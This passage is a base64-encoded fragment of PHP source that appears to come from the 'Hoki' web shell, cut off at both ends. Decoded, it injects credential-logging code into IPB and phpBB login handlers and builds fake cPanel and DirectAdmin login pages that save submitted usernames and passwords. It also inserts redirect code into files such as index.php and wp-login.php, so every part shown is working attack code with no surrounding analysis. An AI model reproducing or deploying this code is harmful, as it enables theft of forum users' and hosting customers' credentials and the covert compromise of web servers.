kZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsKJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL21lbWJlci5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRIb2tpX3EgPSAkdGhpcy0+REItPmJ1aWxkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskSG9raV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkSG9raV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEhva2lfcVtcJ2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkSG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOwokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7CiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7CmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpewokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCRzYXZldG8pewokY29kZSA9ICckSG9raV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskSG9raV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkSG9raV91ICE9IFwnXCcgQU5EICRIb2tpX3AgIT0gXCdcJyl7JEhva2lfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEhva2lfdSwkSG9raV9wKTtpZigkSG9raV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskSG9raV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRIb2tpX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkSG9raV91LiIgOiAiLiRIb2tpX3AuICIgKCAiLiRIb2tpX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEhva2lfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRIb2tpX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOwokZmluZCA9ICdjYXNlIFwnbG9naW5cJzonOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9CmZ1bmN0aW9uIEhva2lfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsKaWYoQGlzX2RpcigkZGlyKSl7CiRmaWxlcz1Ac2NhbmRpcigkZGlyKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpewokcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsKaWYoIUBpc19kaXIoJHBhdGgpKXsKaWYoJGV4dCE9JyonKXskZiA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQppZigkZT09J3N0cicpewokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CmlmKHN0cnBvcygkY29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsKZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7Cn0KfWVsc2V7CmlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpewplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsKfQp9CiRyZXN1bHRzW10gPSAkcGF0aDsKfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7Ckhva2lfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsKJHJlc3VsdHNbXSA9ICRwYXRoOwp9fX19CmZ1bmN0aW9uIGhva2lmYWtlcGFnZSgpewoJaG9raWhlYWQoKTsKCUhva2lOdW0oOSwxMCk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+Cgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3RvLnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KCTxkaXYgY2xhc3M9InR4dGZvbnQiIHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpOyI+PGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPlBhbmVsOiA8L3NwYW4+PHNlbGVjdCBzdHlsZT0id2lkdGg6MTAwcHg7IiBuYW1lPSJwYW5lbCI+JzsKCSRjbV9hcnJheSA9IGFycmF5KCJjcGFuZWwiPT4iQ3BhbmVsIiwiZGlyZWN0YWRtaW4iPT4iRGlyZWN0QWRtaW4iKTsKCWZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsKCWVjaG8oIjwvc2VsZWN0PjwvZGl2PiIpOwoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNsb25lIHBhZ2U6IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNsb25lX3BhZ2UiIHBsYWNlaG9sZGVyPSJlZzogaHR0cHM6Ly90YXJnZXQuY29tOjIwODMgfCBodHRwczovL3RhcmdldC5jb206MjIyMiI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2PgoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkluamVjdCB0bzogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iaW5qZWN0X3RvIiB2YWx1ZT0iJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvaW5kZXgucGhwIj48L2Rpdj4KCTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5CaW5kIG9uOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX29uIiBwbGFjZWhvbGRlcj0iZWc6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL3dwLWxvZ2luLnBocCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q291bnQgb2YgSW52YWxpZCBsb2dpbjogPC9zcGFuPjxpbnB1dCBzaXplPSIyMCIgdHlwZT0idGV4dCIgbmFtZT0iY291bnQiIHZhbHVlPSIzIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48L2Rpdj4KCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4nOwoJJGNsb25lX3BhZ2UgPSAkX1BPU1RbJ2hva2kxJ107CgkkZmFrZV9yb290ID0gJF9QT1NUWydob2tpMiddOwoJJGxvZ3RvID0gJF9QT1NUWydob2tpNCddOwoJJHBhbmVsID0gJF9QT1NUWydob2tpNSddOwoJJGluamVjdF90byA9ICRfUE9TVFsnaG9raTYnXTsKCSRiaW5kX29uID0gJF9QT1NUWydob2tpNyddOwoJJGNvdW50ID0gJF9QT1NUWydob2tpOCddOwoJaWYoIWVtcHR5KCRjbG9uZV9wYWdlKSAmJiAhZW1wdHkoJGZha2Vfcm9vdCkgJiYgIWVtcHR5KCRsb2d0bykgJiYgIWVtcHR5KCRpbmplY3RfdG8pICYmICFlbXB0eSgkYmluZF9vbikgJiYgJF9QT1NUWydob2tpMyddID09ICc+PicpewoJCWVjaG8gX19wcmUoKTsKCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7CgkJJGN1cmwgPSBuZXcgSG9raUNVUkwoKTsKCQkkc291cmNlX3BhZ2UgPSAkY3VybC0+U2VuZCgkdGFyZ2V0KTsKCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7CgkJCSRtYXRjaGVkX2Zvcm0gPSAiIjsKCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSIoLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpewoJCQkJCSRtYXRjaGVkX2Zvcm0gPSAkbWF0Y2hbMF07CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYocHJlZ19tYXRjaCgnIzxmb3JtKC4qPyk+IycsICRzb3VyY2VfcGFnZSwgJG1hdGNoKSl7CgkJCQkJJG1hdGNoZWRfZm9ybSA9ICRtYXRjaFswXTsKCQkJCX0KCQkJfQoJCQlpZighZW1wdHkoJG1hdGNoZWRfZm9ybSkpewoJCQkJJGZha2UgPSAiIjsKCQkJCSRwd2QgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJywgJGZha2Vfcm9vdCk7CgkJCQkkdXJpID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRpbmplY3RfdG8pOwoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCQkkcG9ydCA9ICIyMDgzIjsKCQkJCX1lbHNlewoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7CgkJCQkJJHBvcnQgPSBleHBsb2RlKCI6IiwkdGFyZ2V0KTsKCQkJCQkkcG9ydCA9ICRwb3J0WzFdOwoJCQkJfQoJCQkJaWYoc3Vic3RyKCR1cmksIDAsIDEpID09ICIvIil7CgkJCQkJJHVyaSA9IHN1YnN0cigkdXJpLCAxKTsKCQkJCX0KCQkJCSR1cmkgPSAkX1NFUlZFUlsiSFRUUF9PUklHSU4iXSAuICcvJyAuIHN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCAiIiwgJHVyaSkgLiAnPzonIC4gJHBvcnQ7CgkJCQkkbG9nX3VybCA9ICRfU0VSVkVSWyJIVFRQX09SSUdJTiJdIC4gJHB3ZCAuICcvbG9nLnBocCc7CgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpewoJCQkJCSRmb3JtID0gJzxmb3JtIG5vdmFsaWRhdGUgaWQ9ImxvZ2luX2Zvcm0iIGFjdGlvbj0iJy4kbG9nX3VybC4nIiBtZXRob2Q9InBvc3QiIHRhcmdldD0iX3RvcCIgc3R5bGU9InZpc2liaWxpdHk6Ij4nOwoJCQkJfWVsc2V7CgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLiciIG1ldGhvZD0icG9zdCI+JzsKCQkJCX0KCQkJCSRmYWtlID0gc3RyX3JlcGxhY2UoJG1hdGNoZWRfZm9ybSwgJGZvcm0sICRzb3VyY2VfcGFnZSk7CgkJCQlpZihAIWlzX2RpcigkZmFrZV9yb290KSl7CgkJCQkJQG1rZGlyKCRmYWtlX3Jvb3QsIDA3NzcsIHRydWUpOwoJCQkJfQoKCQkJCSRjb29raWVfbmFtZSA9ICJob2tpX2Zha2VwYWdlX2NvdW50ZXIiIC4gcmFuZCg5OTk5LDk5OTk5KTsKCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOwoJCQkJJHBvc3RfcGFzcyA9ICdwYXNzJzsKCQkJCSRyZXNwX2NvZGUgPSAnaWYoZW1wdHkoJHVzZXIpKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJtZXNzYWdlIiA9PiAibm9fdXNlcm5hbWUiKSk7fWVsc2V7aHR0cF9yZXNwb25zZV9jb2RlKDQwMSk7fSc7CgkJCQlpZigkcGFuZWwgIT0gImNwYW5lbCIpewoJCQkJCSRwb3N0X3VzZXIgPSAndXNlcm5hbWUnOwoJCQkJCSRwb3N0X3Bhc3MgPSAncGFzc3dvcmQnOwoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQX1JFRkVSRVJcJ10pOyc7CgkJCQl9CgoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGFzcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50KSRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9sb2cucGhwJywgJGNwYW5lbF9sb2cpOwoKCQkJCWlmKCRwYW5lbCA9PSAiY3BhbmVsIil7CgkJCQkJJGZha2UgPSBwcmVnX3JlcGxhY2UoYXJyYXkoJyM8bGluayguKilocmVmPSIoLiopIiguKik+IycsICcjPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IiguKikiKC4qKT4jJywgJyMgPGEoLiopaWQ9InJlc2V0X3Bhc3N3b3JkIj4jJyksIGFycmF5KCc8bGluayBocmVmPSInLiR0YXJnZXQuJy8kMiI+JywgJzxpbWcgY2xhc3M9Im1haW4tbG9nbyIgc3JjPSInLiR0YXJnZXQuJy8kMSIgYWx0PSJsb2dvIiAvPicsICc8YSBocmVmPSIjIiBpZD0icmVzZXRfcGFzc3dvcmQiPicpLCAkZmFrZSk7CgkJCQl9CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9pbmRleC5waHAnLCAkZmFrZSk7CgoJCQkJJGluamVjdF9jb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfR0VUWyI6MjA4MyJdKSYmKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcuJGNvdW50Licpe0BpbmNsdWRlKCInLiRmYWtlX3Jvb3QuJy9pbmRleC5waHAiKTtleGl0O30/Pic7CgkJCQkkYmluZF9vbl9jb2RlID0gJzw/cGhwIGlmKChpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaGVhZGVyKCJMb2NhdGlvbjogJy4kdXJpLiciKTtleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRpbmplY3RfdG8sICRpbmplY3RfY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkaW5qZWN0X3RvKSk7CgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGJpbmRfb24sICRiaW5kX29uX2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGJpbmRfb24pKTsKCgkJCQllY2hvICJzdWNjZXNzLi4uISI7CgkJCX1lbHNlewoJCQkJZWNobyAiZmFpbGVkLi4uISI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lhcmNoaXZlX21hbmFnZXIoKXsKCWhva2loZWFkKCk7CgkkZmlsZSA9ICRfUE9TVFsnaG9raTInXTsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewoJCSRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJfQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk5OTk5OSk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFyY2hpdmUgTWFuYWdlciB8PC9kaXY+PC9wPic7CgllY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglBcmNoaXZlIGZpbGU6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9IicuJGZpbGUuJyI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CglpZigkX1BPU1RbJ2hva2k1J109PSc+PicpewoJCS8vZWNobyBfX3ByZSgpOwoJCWVjaG8gJzxocj48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMTJweDsiIGFyY2hpdmVfZnVsbD0icGhhcjovLycuJGZpbGUuJyIgYXJjaGl2ZV9uYW1lPSInLmJhc2VuYW1lKCRmaWxlKS4nIiBpZD0iYXJjaGl2ZV9kaXJfJy4kcmFuZF9pZC4nIiBjbGFzcz0iYXJjaGl2ZV9kaXJfaG9sZGVyIj48c3Bhbj5QV0Q6IDwvc3Bhbj48ZGl2IGNsYXNzPSJhcmNoaXZlX3B3ZF9ob2xkZXIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jayI+PGE+LzwvYT48L2Rpdj48L2Rpdj4nOwoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsKCQlfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyYW5kX2lkKTsKCQllY2hvICc8L2Rpdj4nOwoJfQoJZWNobyAnPC9kaXY+JzsKCWhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2hva2lfb3Blbl9hcmNoaXZlX2ZpbGUoJGFyY2gsICRiYXNlX2lkPTApewoJdHJ5ewoJCSRmaWxlcyA9IGFycmF5KCk7CgkJJGRpcnMgPSBhcnJheSgpOwoJCSRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgewoJCQkgJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSkpOwoJCSAgICAgaWYoJGZpbGUtPmlzRGlyKCkpIHsKCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKCQkgICAgIH1lbHNlewoJCQkJICRmaWxlX3NpemUgPSBAZmlsZXNpemUoJGZpbGUtPmdldFBhdGhuYW1lKCkpOwoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsKCQkJIH0KCQkgfQoJCSBmdW5jdGlvbiBfX2hva2lfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CgkJCSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CgkJIH0KCQkgdXNvcnQoJGRpcnMsICJfX2hva2lfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7CgkJIHVzb3J0KCRmaWxlcywgIl9faG9raV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKCQkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7CgkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CgkJIGVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgZm5hbWU9Ii4uIiBvbmNsaWNrPSJob2tpT3BlbkFyY2hpdmUodGhpcyk7IiBwYXRoPSInLmRpcm5hbWUoJGFyY2guJy5waHAnKS4nIj4nLiRpY29uLic8c3BhbiBjbGFzcz0iYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1kaXIiPnwgLi4gfDwvc3Bhbj48L2E+PHRkPmRpcjwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPic7CgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5m